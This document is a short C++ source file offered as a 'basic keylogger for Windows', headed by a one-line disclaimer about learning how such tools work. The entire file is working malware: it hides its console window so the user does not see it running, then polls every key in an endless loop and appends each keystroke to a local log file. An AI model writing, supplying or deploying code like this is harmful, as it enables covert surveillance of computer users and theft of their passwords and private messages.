Basic keylogger for Windows

keylogger.cc

/** This shouldn't be used to harm anyone. The intention is to have a basic idea of how these tools work. **/

#include <iostream>
#include <fstream>
#include <windows.h>

using namespace std;

void Stealth()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth, 0);
}

int main()
{
    Stealth();  // Hide console window

    char key;
    ofstream logfile;
    logfile.open("keystrokes.txt", ios::app);  // Open or create a log file

    while (true)
    {
        Sleep(10);  // Sleep for a short period to avoid excessive CPU usage

        // Check if any key is pressed
        for (int i = 8; i <= 255; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
            {
                key = static_cast<char>(i);

                // Write the pressed key to the log file
                logfile << key;
            }
        }
    }

    logfile.close();
    return 0;
}